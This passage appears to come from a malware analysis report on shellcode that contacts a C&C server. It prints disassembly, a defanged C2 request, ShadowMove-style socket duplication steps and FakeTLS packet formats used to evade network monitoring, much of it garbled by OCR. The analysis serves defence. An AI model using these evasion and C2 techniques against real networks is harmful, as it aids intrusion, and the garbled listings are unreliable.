seq000:0000000000002B56	mov	[rsp+48h+arq 10], 3300h ; set option: WINHTTP OPTION SECURITY FLAGS to ignore certificate
seq000:000000000002B5E	call	qword ptr [rax+6A0h] ; WinHttpSetOption
seq000:000000000002864	test	eax, eax
seq000:0000000000002866	inz	short loc 2AFF

Figure 12: The initial request sent to the C&C server for deception purposes to make it look like a TLS session

The HTTP GET request looks like:

GET hxxps://45.76.6[.]149/msdn.cpp HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.1 Content-Length: 4294967295 << this field was manually set to -1 by the shellcode Host: 45.76.6[.]149

This HTTP GET request was sent for deception purposes to make it look like a valid TLS session. As we will see later, a FakeTLS session is used by the shellcode to perform C&C communication with the server.

Duplication of socket - ShadowMove similarity

We discovered an interesting code section in this shellcode which creates a duplicate socket to connect to the C2 server. The method is very similar to the ShadowMove lateral movement technique which was presented in <u>Usenix 2020</u>.

At first glance, due to the high level of code overlap in this shellcode with the above technique, we believed it to be using the ShadowMove lateral movement technique. However on further inspection, we concluded that this technique was used to

create a duplicate socket that will be used for FakeTLS communication as described in the next section.

Below are the details of the steps used by the shellcode to create a duplicate socket used for communication with the C2 server:

- It calls the NtQuerySystemInformation() native API with the InfoClass parameter set to: SystemExtendedHandleInformation (0x40). This fetches detailed information for all the handles and their corresponding object names.
- The information is returned in the form of a SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure.
- It uses a GetCurrentProcessID to find the process ID of the current process.
- It compares the UniqueProcessID member of the SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure with the current process ID.
 If they are equal, then it proceeds to the next step.
- It compares the HandleValue member of the SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure with the socket handle. If they are equal, then it proceeds to the next step.
- It creates a new thread that calls the native API, NtQueryObject() to retrieve information about the object. The information is returned in the structure: ___PUBLIC_OBJECT_TYPE_INFORMATION.
- If the TypeName member of the structure __PUBLIC_OBJECT_TYPE_INFORMATION is equal to "\Device\Afd", then it proceeds to the next step. It is important to note that Windows sockets have the object type "\Device\Afd".
- It calls getpeername() to get the IP address and port number corresponding to the above socket.
- It compares the IP address and port number with the expected values corresponding to the C&C server.
- If the correct socket is found, then it calls DuplicateHandle() to duplicate this socket.

Figure 13 shows the code section that locates the socket handle.

000 00000000000000000000000000000000000			
seg000:0000000000002E63		nov	r8d, r14d
seguuu:0000000000002E66		nov	rax, r15
seg000:000000000002E69		nov	ecx, 40h ; '@'
seg000:000000000002E6E	0	call	qword ptr [rax+360h] ; NtQuerySystemInformation
seg000:000000000002E74	C	cnp	eax, 0C0000004h
seg000:0000000000002E79	1	jz	short loc_2E1C
seg000:000000000002E7B	1	jnp	short loc_2E80 ; socket_handle
seg000:000000000002E7D			
seq000:0000000000002E7D			
seq000:0000000000002E7D	Loc 2E7D:		: CODE XREF: shadow move+EA1
seq000:0000000000002E7D	-	nov	eax, r12d
5en888:888888888888888882F88			
Seg000-0000000000002F80	oc 2588:		· CODE XREE: shadow nove+10E1i
Seg000-000000000002E80		nou	r14 [rbn+SEh] · socket bandle
500888-88888888888888888888888888888888			(it, [ibb/stu] , socket_name
Cog888-888888888888888882204	oc 2596+		· CODE VREE · chadow power0Eti
500888-88888888888888888	100_2004.	tect	, CODE ANET. SHADOW HOVE ALL
50000.00000000000000000000000000000000		ile	tax, tax
50000 00000000000000000000000000000000		116	SHOPE TOC_2223
segood:000000000002E88		000	rya, z
seguuu:uuuuuuuuuuuuuuuuu	1	յոր	10C_3120
seg000:000000000002E93			
seg000:0000000000002E93			
seg000:000000000002E93	Loc_2E93:		; CODE XREF: shadow_nove+11ATj
seg000:000000000002E93		nov	edx, [r15]
seg000:0000000000002E96	1	lea	r13, [r15+10h]
seq000:0000000000002E9A	,	xor	ecx, ecx
seq000:0000000000002E9C		nov	Trbp+5Fh1, edx
seq000:0000000000002E9F		nov	rax, r13
seg000:0000000000002EA2	1	test	edx. edx
Seg000:0000000000002FA4		iz	short loc 2FCB
500888-888888888888888888		10	Not (100-200)
Seg 888 - 88888888888888882E00			for the second
50000.00000000000000000000000000000000	Dec. 2500 -		· CODE VEEE, chadew power4EELi
SEG000:0000000000002EHH	LUC_ZENH.		, GUDE AREF, SHALOV HUDE ISJ
SEG000:0000000000002EHH		cmp	[rdx+0], rdu ; if ststen_nnnute_inste_entry_info_ex.uniquerrocessiu == current_process_iu
Seg000:0000000000002EHE	1	Jus	SHOPE INC. 2280
seg000:0000000000002EB0	9	cnp	[Pax+100], P14 ; If SYSTEM HANDLE THBLE ENTRY INFO EX.Handlevalue == Socket handle
seg000:000000000002EB4	1	JZ	short loc_2EC3 ; SASTEW_HHMDTF_THRFFFENTRA_THEOFEY.oplectibberuges
seg000:0000000000002EB6			
seg000:0000000000002EB6	LOC_2EB6:		; CODE XREF: shadow_nove+142Tj
seg000:0000000000002EB6	a	add	ecx, r12d
seg000:000000000002EB9	a	add	rax, 28h ; ptr = ptr + sizeof(SYSTEM_HANDLE_INFORMATION_EX)
seg000:0000000000002EBD	0	cnp	ecx, edx
seg000:000000000002EBF	1	jnb	short loc_2ECB ; if counter < handle_count
seq000:0000000000002EC1	1	jnp	short loc 2EAA ; if SYSTEM HANDLE TABLE ENTRY INFO EX.UniqueProcessId == current process id
seq000:0000000000002EC3			
seg000:00000000000002EC3			
500000:00000000000000000000000000000000	Inc 2EC3:		: CODE XREE: shadow pove+1481j
con888-888888888888888882EC3		001122	asy und of [ray+16h] - SUSTEN HANNIE THEE ENTRY INFO EX Objectionalney
500888-888888888888888888888		0024	can, while per [reacter], staten_nnmute_indet_thint_invotatodetigetidex
Seguu . 00000000000002207			[ruh-s/n], ax
Sedana: ananananananananananananananananana			
50000:00000000000000000000000000000000	LOC_ZECB:		; CUDE AREF: Shadow nove+1381]
seguou: 000000000000002ECB			; snadov_nove+1531]
seg000:0000000000002ECB	>	xor	ecx, ecx
seg000:0000000000002ECD	r i	nov	edx, 208h
seg000:000000000002ED2		nov	r8d, 1000h
seg000:000000000002ED8	1	lea	r9d, [rcx+4]
seg000:0000000000002EDC	C	call	qword ptr [rsi+0F8h] ; VirtualAlloc
seq000:0000000000002EE2	E CONTRACTOR OF CONTRACTOR	nov	rdi, rax

Figure 13: The subroutine that is used to iterate over system handles.

Figure 14 shows the code section that checks if the socket handle corresponds to the socket used to communicate with the C&C server.

Seq 000:0000000000021E4	nov	rdi, [rbp-69h]	
seg000:000000000002FE8	add	ecx, r12d	
seg000:000000000002FEB	nov	[rbp-79h], ecx	
seg000:000000000002FEE	cnp	ecx, eax	
seg000:000000000002FF0	jnb	loc_3138	
seg000:000000000002FF6	jop	1oc_2F2F	
seg000:000000000002FFB ;			
seg000:000000000002FFB			
seg000:0000000000002FFB loc	2FFB:	; CODE XREF: shadow_nove+24F1j	
seq000:000000000002FFB	nov	rax, [rsi+0C8h]	
seg000:00000000000000002	call	qword ptr [rax+30h] ; CloseHandle	
seg000:0000000000003005	nov	rdi, [rsi+ <mark>8C8h</mark>]	
seg000:000000000000300C	lea	rbx, [rsi+4C8h] ; "\Device\Afd"	
seg000:0000000000000003013	nov	rcx, rbx	
seg000:0000000000003016	call	qword ptr [rdi+90h] ; 1strlenW	
seg000:000000000000000001C	nov	rcx, [rbp-69h]	
seg000:000000000000000000000000000000000	nov	rdx, rbx	
seg000:000000000000003023	nov	rcx, [rcx+8]	
seg000:0000000000003027	novsxd	r8, eax	
seg000:00000000000302A	call	qword ptr [rdi+7D0h] ; nsvcrt_ucsnicnp	
seg000:0000000000003030	nov	rbx, [rbp-61h]	
seg000:000000000003034	test	eax, eax ; ifPUBLIC_OBJECT_TYPE_INFORMATION.TypeName "\Device\Afd"	
seg000:0000000000003036	jnz	short loc_2FDA	
seg000:000000000003038	nov	rax, [rsi+0C8h]	
seg000:00000000000303F	and	[rbp-71h], r14d	
seq000:0000000000003043	nov	edi, 10h	
seq000:0000000000003048	nov	r8d, edi	
seg000:00000000000304B	xor	edx, edx	
seg000:000000000000304D	nov	rcx, rbx	
seq000:000000000000000000000000000000000	call	qword ptr [rax+720h] ; nenset	
seq000:0000000000003056	nov	rax, [rsi+8C8h]	
seg000:000000000000305D	nov	[rbp-6Dh], edi	
seg000:00000000000000000	nov	rcx, [r13+10h] ; socket_handle	
seq000:000000000000000004	lea	r8, [rbp-6Dh]	
seg000:0000000000003068	nov	rdx, rbx	
seg000:00000000000000000	call	qword ptr [rax+520h] ; getpeernane	
seg000:0000000000003071	nov	rax, [rsi+0C8h]	
seg000:00000000000000000	lea	rdx, [rbx+4]	
seg000:000000000000307C	lea	r8d, [rdi-0Ch]	
seg000:000000000003080	lea	rcx, [rbp-71h]	
seg000:000000000003084	call	quord ptr [rax+740h] ; nencpy	
seg000:000000000000308A	nov	edx, [rbp-71h]	
seg000:00000000000000000	test	edx, edx	
seg000:000000000000308F	jz	loc_2FDA	
seg000:00000000000003095	novzx	ecx, word ptr [rbx+2]	
seg000:000000000000000099	novzx	eax, cl	
seg000:000000000000309C	shr	ecx, 8	
seg000:000000000000309F	shl	eax, 8	
seg000:00000000000000000	or	eax, ecx	
seg000:00000000000030A4	cnp	eax, [rbp+7Fh]	
seg000:00000000000030A7	jnz	1oc_2FDA	
seg000:0000000000030AD	nov	ecx, [rbp+77h]	
seg000:000000000000000000000	lea	eax, [rcx-1]	
seg000:00000000000000030B3	CRP	eax, ØFFFFFFDh	
seg000:0000000000000000	ja	short loc_30C7	
seg000:00000000000030B8	cnp	ecx, edx	
seg000:000000000000000	jz	short loc_30C7	
seg000:000000000000000000000000000000000	nov	eax, [rbp+5Fh]	

Figure 14: The subroutine that used to locate the target socket handle used to communicate with the C&C server.

FakeTLS

We observed interesting use of the FakeTLS method in this shellcode. It creates a FakeTLS header using the byte sequence: [0x17 0x03 0x01] as shown in Figure 15.

seq000:0000000000037C9	loc 37C9:	; CODE XREF: connect to c2 server+62B [†] j
seg000:00000000000037C9	- mov	byte ptr [rax], 17h; Set FakeTLS Header
seg000:00000000000037CC	mov	v r14d, 103h
seg000:0000000000037D2	mov	v r9d, 5
seg000:0000000000037D8	mov	v [rax+1], r14d
seg000:0000000000037DC	mov	v rdx, [rbp+0]
seg000:0000000000037E0	mov	v r8, rax
seg000:0000000000037E3	mov	v rcx, rdi
seg000:0000000000037E6	mov	/ [rsp+0C8h+arg_48], r12d
seg000:0000000000037EE	cal	L1 wrapper_ws2_32_send
seg000:0000000000037F3	tes	st eax, eax
seg000:00000000000037F5	jg	short loc_381D

Figure 15: The subroutine used to craft the FakeTLS header.

It is important to note that this FakeTLS method has been used in the past by APT groups, such as Lazarus.

The reason for using this technique is to confuse network monitoring security systems that do not perform proper SSL inspection and, as a result, allow the traffic to pass through.

Also, we noticed two requests sent by the bot using the FakeTLS header in the initialization phase.

Request 1 [Fake session key]

In the first request, the routine:

- Uses time() to get the current time.
- Uses srand() to seed the pseudo-random number generator using the value obtained in step 1.
- Uses rand() to generate a random number.
- Generates a total of 0xC3 random bytes using the above method.
- Appends a total of 0x3C bytes with the value 0xAD to the data generated in step 4.

So a total of 0xFF bytes are generated in the format: [0xC3 bytes of random data][0x3C bytes with value 0xAD].

This data is appended to the FakeTLS header and sent using ws2_32.send() to the C&C server as shown in Figure 16.

	debug011:000	000000	0023	3899	mov		bute	ptr	[r15	51.	17h				
	debug011:000	000000	0023	389D	shr		cx, t	8		1.					
	debug011:000	000000	0023	38A1	shl		ax, t	8							
	debug011:000	000000	0023	38A5	mov		[r15-	+1],	r14(1					
	debug011:000	000000	0023	38AA	or		cx, a	ax							
	debug011:000	000000	0023	88AD	add		r9d,	5							
	debug011:000	000000	0023	38B1	mov		r8, 1	r15							
	debug011:000	000000	0023	38B4	mov		[r15-	+3],	CX						
	debug011:000	000000	0023	38B9	mov		rdx,	[rbp	+0]						
	debug011:000	000000	0023	38BD	mov		rcx,	rdi							
RIP	debug011:000	000000	0023	38C Ø	call		wrapp	per_w	s2_3	32_se	end				
	debug011:000	000000	0023	8625	test		eax,	eax							
	debug011:000	000000	0023	38C7	jle		10C_2	237F7							
	debug011:000	000000	0023	38CD	MOV		rax,	[rdi	+ 008	3h]					
	debug011:000	000000	0023	38D4	mov		ecx,	3E8h							
	debug011:000	000000	0023	38D9	MOV		[rdi	2CCh], e	si					
	debug011:000	000000	0023	38DF	call		quore	d ptr	[ra	ax+1	Øh]				
	debug011:000	000000	0023	38E2	mov		ebx,	esi							
			~~~		1		chout	100	- 220	196					
	debug011:000	000000	0023	58E4	Tub		SHUP	100	_235	125					
	debug011:000	000000	0023	58E4	Tuh		SHUP	. 100	_201	125					
	UNKNOWN 000000	0000023	891:	deb	ug011	:000	000000	00238	91 (	Synch	ironi	zed v	vith	RIP)	
	- debug011:000 UNKNOWN 000000	0000023	891:	deb	Jug011	:000	000000	00238	91 (	Synch	ironi	zed v	rith	RIP)	
	debug011:000     UNKNOWN 000000     <	0000023	891:	deb	Jug011	:000	000000	00238	91 (	Synch	ironi	zed v	vith	RIP)	
	debug011:000 UNKNOWN 000000 < Hex View-1	0000023	891:	deb	Jug011	:000	000000	00238	91 (	Synch	ironi	zed v	vith	RIP)	_
000	debug 011:000 UNKNOWN 000000 Hex View-1 0000000580FB0	0000023	891: 0023	deb	יייע oug011 00 00	: 000	000000	00238	91 (S	Synch	oo o	zed v	00	RIP)	
000	debug 611:666 UNKNOWN 000000 Hex View-1 89898989589FB8 8989898589FC8	0000023 0000023	0023 891: 00	00 00	00 00	: 000 00 00	0000000	00238 00 00 00 00	33 91 (\$ 00	Synch	nroni 99 9	zed v 0 00	00 00	RIP)	
000	debug 611:666 UNKNOWN 000000 Hex View-1 0000000580F80 000000580F00 000000580F00		891: 00 00 00	00 00 00 00	00 00 00 00 00 00	: 0000 00 00	0000000 000000 00 00	00238 00 00 00 00 00 00	3 91 (S 00 00 00	Synch III 90 90 90	00 0 00 0 00 0	zed v 0 00 0 00 0 00	00 00 00	RIP)	
000	debug 811:988 UNKNOWN 000000 Hex View-1 898889588F88 898889588F68 898889588F68 898889588F68 898889588F68		0023 891: 00 00 00	00 00 00 00	Jiip oug011 00 00 00 00 00 00	: 0000 99 99	0000000 000000 00 00	00238 00 00 00 00 00 00	91 (\$	Synch III 90 90 90	00 0 00 0 00 0	zed v 0 00 0 00 0 00 0 00	00 00 00 00	RIP)	-
000 000 000 000	debug 811:988 UNKNOWN 00000 Hex View-1 808080588768 80808058876 80808058876 808080588768 808080588768		891: 891: 00 00 00 00	00 00 00 00 00 00	ug011	: 0000 00 00 00	0000000 000000 00 00 00 00		3 91 (( 00 00 00 00	Synch III 00 00 00 00 00	00 0 00 0 00 0 00 0	zed v 0 00 0 00 0 00 0 00	vith 00 00 00 00	RIP)	
000 000 000 000 000 000	debug 811:888     UNKNOWN 000000      Hex View-1      8086869588F68      8086869588F6      80868695886F8      80868695886F8      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869598668      8086869586658      808686658658      808686658658658      808686658658658658658658658658658658658658		0023 891: 00 00 00 00 00 00	00 00 00 00 00 00 00	Jiiip aug011 60 60 60 60 60 60 60 60 60 60 40 86	: 0000 00 00 00 00 00 00 00 00 00 00 00 0	0000000 000000 000 000 000 40	00238 00000 0000 0000 0000 0000 0000 000	3 91 (\$ 00 00 00 00 00 00 E7	Synch III 90 90 90 90 90 90 90 90 90 90 90 90 90	90 0 90 0 90 0 90 0 90 0 90 0 91 E	zed v 0 00 0 00 0 00 0 00 0 00 0 00 0 00	00 00 00 00 00 00 00 00	RIP)	
000 000 000 000 000 000 000	debug 611:666 UNKNOWN 000000 Hex View-1 000000058 0F 0 00000058 0F 0 00000058 0F 0 00000058 0F 6 000000058 0F 0 000000059 0000 00000059 0000	0000023 0000023 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 03 00 04	0023 891: 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 F4	Jinp 00 00 00	: 0000 00 00 00 00 00 00 00 00 00 00 00 0	0000000 000 000 000 000 4D 9F	00238 00 00 00	3 91 (\$ 00 00 00 00 E7 E2	90 90 90 90 90 90 90 90 10 20	00 0 00 0 00 0 00 0 00 0 00 0 00 0 00	zed v 0 00 0 00 0 00 0 00 0 05 E 69	00 00 00 00 00 10 EF	RIP)	
	debug 811:888 UNKNOWN 000000 Hex View-1 888888588FE8 888888588FE8 888888588FE8 888888588FE8 8888885988588FE8 888888598888 888888598888 888888598888 888888598888	0000023 0000023 00 00 00 00 00 00 00 00 17 03 0D 04 3C DD	0023 891: 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 F4 F3	ug011 66 66 66	: 0000 00 00 00 00 00 00 00 00 00 00 00 0	0000000 00 00 00 00 00 4D 9F C4	00238 00 00 00	233 91 (3 00 00 00 00 E7 E2 F2	90 90 90 90 90 90 90 10 10 20 E1	00 0 00 0 00 0 00 0 00 0 00 0 00 0 00	zed v 0 00 0 00 0 00 0 00 0 65 E 69 9 65	vith 00 00 00 00 1D EF CB	RIP)	
	debug811:988 UNKNOWN 000000 Hex View-1 8080805889F88 8080805889F6 8080805889F6 8080805889F6 80808085889F6 8080808598080 808080598080 808080598020 808080598020 808080598020	00000023 00000023 00 00 00 00 00 00 17 03 00 04 3C DD AA E8	0023 891: 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 F4 F3 80	Jmp 00 00 00	: 0000 00 00 00 00 E4 5F CC 33	0000000 00 00 00 00 00 4D 9F 04 04 04	00238 00 00 00	233 91 (3 00 00 00 00 00 E7 E2 F2 8F	90 90 90 90 90 90 90 90 90 90 90 90 90 9	00 0 00 0 00 0 00 0 00 0 E1 E C5 1 8F 8 77 F	zed v 0 00 0 00 0 00 0 00 0 65 E 69 9 65 5 38	vith 00 00 00 00 1D EF CB ED	RIP) @;SMt.Dae. £(-è_Wë+G-+.in <{:5=+.;f=D.ëe- -F@Çow3â;^w)8f	
	debug811:888           UNKNOWN 000000           ←           8080808588758           8080808588758           8080808588758           8080808588758           8080808588758           8080808588758           8080808588758           8080808588758           8080808588758           8080808598758           80808085988758           80808085988758           80808085988758           80808085988758           80808085988758           80808085988758           80808085988758           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808080859887           808088859887           808088859887           808088859887           808088859887           808088859887           8080888598888           <	0000023 0000023 00 90 00 90 00 90 17 93 00 94 3C DD AA E8 3A F5	0023 891: 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 F4 F3 80 D5	Jmp 00 00 00	: 0000 99 90 90 90 90 90 90 90 90 90 90 90	0000000 000000 000 000 000 4D 9F 00 9F 00 00 4D 00 9F 00 00 00 00 00 00 00 00 00 00 00 00 00	00238 00 00 00	233 91 (9 90 90 90 90 90 90 87 52 87 93	90 90 90 90 90 10 20 E1 20 90 20 20 20 20 20 20 20 20 20 20 20 20 20	00 0 00 0 00 0 00 0 00 0 E1 E C5 1 8F 8 77 F 81 6	zed v 0 00 0 00 0 00 0 05 E 69 9 65 5 38 3 62	00 00 00 00 10 EF CB ED 57	RIP) @!SMt.ßae. £(-èWe+G-+.in s=+e=B.ëe-<br -F=@cow3â!^w)8f :)w+'\=.++cbW	
	debug811:888           UNKNOWN 000000              88868888           000000588788           88868888           88868888           88868888           8886888           8886888           8886888           88878           888888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           88888           888888           888888 <th>0000023 0000023 00 90 00 90 00 90 17 93 00 94 3C DD AA ES 3A F5 ED 92</th> <th>00 891: 00 00 00 00 00 00 00 00 00 00 00 00 00</th> <th>00 00 00 00 00 00 00 F4 F3 80 D5 71</th> <th>Jinp 00 00 00 00 00</th> <th>:0000 90 90 90 90 90 90 90 90 90 90 90 90</th> <th>0000000 00 00 00 00 40 9F 00 4D 9F 00 4D 9F 00 4D 9F 00 00 4D 9F 00 57</th> <th>00238 00 00 00 000000</th> <th>233 91 (( 99 99 91 () 99 99 99 99 90 90 90 90 90 90 90 90 90</th> <th>90 90 90 90 90 90 90 90 10 10 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D</th> <th>00 0 00 0 00 0 00 0 00 0 00 0 00 0 00</th> <th>zed v 0 00 0 00 0 00 0 00 0 05 E 69 9 65 5 38 3 62 2 E5</th> <th>00 00 00 00 10 EF CB ED 57 08</th> <th>RIP) @!SMt.Dae. @!SMt.Dae. </th> <th></th>	0000023 0000023 00 90 00 90 00 90 17 93 00 94 3C DD AA ES 3A F5 ED 92	00 891: 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 F4 F3 80 D5 71	Jinp 00 00 00	:0000 90 90 90 90 90 90 90 90 90 90 90 90	0000000 00 00 00 00 40 9F 00 4D 9F 00 4D 9F 00 4D 9F 00 00 4D 9F 00 57	00238 00 00 00 000000	233 91 (( 99 99 91 () 99 99 99 99 90 90 90 90 90 90 90 90 90	90 90 90 90 90 90 90 90 10 10 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D	00 0 00 0 00 0 00 0 00 0 00 0 00 0 00	zed v 0 00 0 00 0 00 0 00 0 05 E 69 9 65 5 38 3 62 2 E5	00 00 00 00 10 EF CB ED 57 08	RIP) @!SMt.Dae. @!SMt.Dae. 	
	debug811:088           UNKNOWN         000000           ✓         00000058           Ø8000058         0560           Ø8000059         0860           Ø8000059         0800           Ø8000059         0820	00000023 00000023 00 00 00 00 00 00 00 00 17 03 0D 04 3C DD AA E8 3A F5 ED 92 C1 93	891: 891: 891 891 890 80 80 80 80 80 80 80 81 73 A6 AF 8F 66	00 00 00 00 00 00 00 F4 F3 80 D5 71 54	Jinp 00 00 00	: 0000 90 90 90 90 90 90 90 90 90	0000000 000000 00 00 00 00 40 9F 00 40 9F 00 24 57 40 57 40	00238 00 00 00	233 91 (\$ 00 00 00 00 00 00 00 00 00 00 00 00 00	Synch 90 90 90 90 90 90 90 90 90 90	00 0 00 0 00 0 00 0 00 0 00 0 00 0 00	zed v 0 00 0 00 0 00 0 00 0 05 E 69 9 65 5 38 3 62 2 E5 4 3D	vith 00 00 00 00 1D EF CB ED 57 08 02	RIP) @!SMt.Dae. f(-èë+G-+.in s=+.!f=0.ëe-<br -F#(0>3â!'w)8f :)>+'\=.++cbW fqW82-è.Rs. -ô!!T.::mFK=-Z-=.	
	debug811:088 UNKNOWN 000000 Hex View-1 000000580FE0 000000580FE0 000000580FE0 000000580FE0 000000590000 000000590010 00000059001 00000059005 00000059005 00000059005 00000059005 00000059005 00000059005 00000059005	0000023 0000023 00 90 00 90 00 90 00 90 00 90 00 90 3C DD AA E8 3A F5 ED 92 C1 93 B7 A4	891: 891: 891 891 891 80 80 80 80 80 80 80 80 81 87 87 87 85 55	00 00 00 00 00 00 00 00 00 00 00 00 00	Jug011 00 00 00	: 0000 00 00 00 00 00 00 00 00 00 00 00 0	0000000 000000 00 00 00 00 4D 00 4D 00 00 00 00 00 00 00 00 00 00 00 00 00	00238 00 00 00	233 91 (\$ 00 00 00 00 00 00 00 00 00 00 00 00 00	Synch	00 0 00 0 00 0 00 0 00 0 00 0 00 0 00	zed 1 0 00 0 00 0 00 0 00 0 00 0 00 0 00 0	vith 90 90 90 90 90 90 90 90 90 90	RIP) @!SMt.Dae. 	

Figure 16: The FakeTLS packet appended with random data.

It is important to note that this memory chunk is freed using VirtualFree() after sending it in a request to the C&C server. So we do not believe this was used as a session key because, in that case, the bot would have to preserve the key somewhere.

#### Request 2 [Real session key]

In the second instance of the request sent to the C&C server, we noticed the FakeTLS header appended with the cryptographic session key generated earlier as shown in Figure 17.

1		debug011	:0000	000	000	025	262	10	c 2	526	2:									; CODE XREF: debuq011:000000000002525C†j	
+	•	debug011	:0000	000	0000	025	262	mo	v		r8,	[rd	i+1	E 01	1]						
	•	debug011	:0000	1000	1006	025	269	mo	U		rdx,	, [r	di+	7 01	١Ĵ						
		debug011	:0000	1000	1000	025	26D	mo	U		rcx,	, rd	i.								
81 P		debug011	:0000	000	0000	025	270	ca	11		wrap	oper	WS	2_3	32_9	sen (	1				
		debug011	:0000	000	0000	025	275	XO	r		ebx,	, eb	x								
	1	debug011	:0000	9000	000	025	277	te	st		eax,	, ea	x								
		debug011	:0000	1000	1000	025	279	se	tnl	e	<b>b1</b>										
		debug011	:0000	1000	0000	025	270													and there are not set to be a set to be	
		debug011	:0000	1000	1000	1025	270	10	c_2	527	С:									; CODE XREF: debug011:0000000000025205Tj	
-		debug011	:0000	1000	1000	1025	270													; debug011:0000000000025249Tj	
		debug011	:0000	1000		1025	270	te	st		eDx,	, eD	x								
		debugøri	. 0000	1000	1000	025	27E	39	6		SHOP	τ1	0C_	252	29E						
		uebuyori		1000	1006	1025	280														
		UNKNOWN 0	000000	0000	0252	262:	deb	ougo	11:1	oc	2526	2 (5	vnci	hro	nize	d w	ith	RIP	)		
		4								-											
_										_											
0	He	ex View-1																			08
000	0	000000151	IFCO	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
000	0	000000151	IFDØ	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
996	0	000000151	IFEO	00	00	00	00	00	88	00	00	00	00	00	00	00	88	00	88		
900	0	000000151	IFFO	00	88	00	88	00	88	00	00	88	00	00	00	00	88	00	00		
900	0	000000160	1000 (	17	03	01	01	04	65	00	00	00	D8	00	00	00	68	76	78	e+jvx	
000	0	000000160	0010	62	62	45	66	66	31	30	79	31	óВ	63	6C	48	68	49	71	bbEff10y1kclHhIq	
999	0	000000160	0020	79	68	77	77	41	41	41	41	58	71	7A	59	32	ØD	0A	00	yjwwAAAAXqzY2	
996	0	000000160	1030	00	7F	F6	00	21	70	A9	60	00	AB	C7	FA	18	10	52	1B	÷.*p¬`.½¦+R.	
900	01	000000160	1040	3E	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	·····	
000	0	000000160	1050	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
996	U	000000160	1000	00	00	00	99	00	88	00	00	88	00	66	90	00	66	00	00	3 404	
999	191	000000160	10/0	00	00	00	00	00	00	00	00	00	02	HO	81	04	32	31	FU	······	
999	10		0000	10	87	12	4/	67	EU	1/	37	10	31	BD	10	10	23	BU	47	±+.6=d./.7+#+.	
999	U		1070	15	65	20	29	0/	00	0 H	31	21	46 DE	E1 D7	00	ZE	04	10	17	.dr).tertLD .t	
999	101	0000000100	3 0 D 0	88	20	20	2	76	52	90	83	10	85	87	72	89	60	E0	96	+=v= 2ud_;+e;.με	
999	E E	0000000100	396.9	62	33 8E	44	67	00	07	41 00	01	92	80	CF 00	0.0	03	47	23	88	C 500+1 4	
999	101	0000000100	1000	03	05	00	88	00	66	00	88	21	00	00	00	00	00	00	00	0.rge+1.f	
996	101	0000000100	900.6	99	00	99	99	00	99	00	00	99	00	99	99	90	99	90	99		

Figure 17: FakeTLS header appended with cryptographic session key.

The data appended to the FakeTLS header has the following format:

[command padded to 4 bytes][size padded to 4 bytes][base64-encoded data from Part2] [Hash2 - padded to 0x48 bytes][AES-128 bit Encrypted Key].

Below is an example of a packet with the FakeTLS Header and the data appended after it. The structure of the packet is detailed in Figure 18.

	õ	1	2	3	4	5	6	7	8	9	A	B	С	D	Ę	F	Ċ	12345	6789ABCDEF	
0000h:		03	01	01	04	65	00	00	00	D8	00	00	00	79	51	48		<del></del> e	eøyQH	
0010h:	72	31	38	62	59	51	4B	47	38	78	6D	4B	4F	70	35	75		-18bY(	KG8xmKOp5u	
0020h:	4F	36	67	41	41	41	4E	77	35	57	71	41	ЗD	ΘD	0A	00		)6gAAA	ANw5WqA=	
0030h:	00	D4	1D	8C	D9	8F	00	B2	04	E9	80	09	98	EC	F8	42		Ô.ŒÙ.	.².é€.~ìøB	
0040h:	7E	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		· · · · ·		
0050h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
0060h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
0070h:	00	00	00	00	00	00	00	00	00	EC	A1	ЗF	37	65	1A	00			ì;?7e	
0080h:	FB	26	19	71	51	CE	00	AD	67	41	86	47	5A	21	77	AB	Í	ì&.qQÎ	ÌgA†GZ!w«	
0090h:	92	6A	<b>1</b> A	ЗB	FF	E1	5D	30	95	6D	43	7D	DD	B2	8A	BE		′j.;ÿá	á]0∙mC}Ý²Š¾	
00A0h:	<b>C</b> 8	ЗD	7A	7D	4D	ЗC	94	8E	47	DF	68	CA	53	BD	F8	D8	l	È=z}M<	<″ŽGßhÊS½øØ	
00B0h:	3F	26	03	E0	B5	59	17	30	20	29	AB	85	58	E3	<b>B</b> 8	8F	1	?&.àµY	(.0 )«…Xã,.	
00C0h:	4A	D2	0E	76	ΕA	23	28	7A	34	00	00	00	00	00	00	00		JÒ.vê#	‡(z4	
Template Re	sults -	Shell	Packe	t.bt																
			Nan	ne						Valu	le		Star	t	Si	ze		Color	Comment	
struct Pac	ket pa	cket										0h			109h		Fg:	Bg:		
struct F	akeTl	s Fake	TISHe	eader								0h			5h		Fg:	Bg:		

struct Packet packet		0h	109h	Fg:	Bg:
struct FakeTls FakeTlsHeader		0h	5h	Fg:	Bg:
struct AppDataHeader tls_app_data_header		0h	Зh	Fg: 📕	Bg:
ushort PacketSize	260	Зh	2h	Fg:	Bg:
struct PacketData command		5h	104h	Fg:	Bg:
int Command	101	5h		Fg:	Bg:
